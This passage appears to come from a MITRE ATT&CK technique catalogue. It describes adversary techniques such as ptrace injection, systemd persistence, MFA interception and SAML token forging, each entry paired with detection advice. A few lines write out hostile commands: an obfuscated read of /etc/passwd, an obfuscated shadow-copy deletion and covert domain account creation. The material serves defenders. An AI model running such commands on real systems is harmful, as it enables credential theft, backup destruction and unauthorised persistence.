machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019) Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).

T1055.008

Process Injection: Ptrace System Calls

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

14 January 2020

enterprise-attack

Defense Evasion, Privilege Escalation

Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

T1204.002

User Execution: Malicious File

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

11 March 2020

enterprise-attack

Execution

Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).

T1090.003

Proxy: Multi-hop Proxy

Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)

14 March 2020

enterprise-attack

Command and Control

When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.

T1111

Multi-Factor Authentication Interception

Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022)

31 May 2017

enterprise-attack

Credential Access

Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.

T1543.002

Create or Modify System Process: Systemd Service

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) Inside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) * `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start. * `ExecReload` directive executes when a service restarts. * `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. Adversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) The .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.

17 January 2020

enterprise-attack

Persistence, Privilege Escalation

Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd) Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.

T1027.010

Obfuscated Files or Information: Command Obfuscation

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE) For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017) Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC) Tools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)

14 March 2023

enterprise-attack

Defense Evasion

T1136.002

Create Account: Domain Account

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999) Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

28 January 2020

enterprise-attack

Persistence

Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.

T1498.001

Network Denial of Service: Direct Network Flood

Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

02 March 2020

enterprise-attack

Impact

Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

T1592.002

Gather Victim Host Information: Software

Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

02 October 2020

enterprise-attack

Reconnaissance

Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

T1586.002

Compromise Accounts: Email Accounts

Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.

01 October 2020

enterprise-attack

Resource Development

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

T1574.002

Hijack Execution Flow: DLL Side-Loading

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)

13 March 2020

enterprise-attack

Defense Evasion, Persistence, Privilege Escalation

Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

T1059.002

Command and Scripting Interpreter: AppleScript

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript) AppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility. Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)

09 March 2020

enterprise-attack

Execution

Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

T1496

Resource Hijacking

Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners) Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)

17 April 2019

enterprise-attack

Impact

Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.

T1562.007

Impair Defenses: Disable or Modify Cloud Firewall

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

24 June 2020

enterprise-attack

Defense Evasion

Monitor cloud logs for modification or creation of new security groups or firewall rules.

T1021.005

Remote Services: VNC

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)

11 February 2020

enterprise-attack

Lateral Movement

Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. On macOS systems <code>log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)

T1566

Phishing

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)

02 March 2020

enterprise-attack

Initial Access

Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

T1606.002

Forge Web Credentials: SAML Tokens

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)

17 December 2020

enterprise-attack

Credential Access

This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)

T1120

Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

31 May 2017

enterprise-attack

Discovery

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

T1615

Group Policy Discovery

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.

06 August 2021

enterprise-attack

Discovery

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>. Monitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.

T1091

Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

31 May 2017

enterprise-attack

Initial Access, Lateral Movement

Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.

T1659

Content Injection

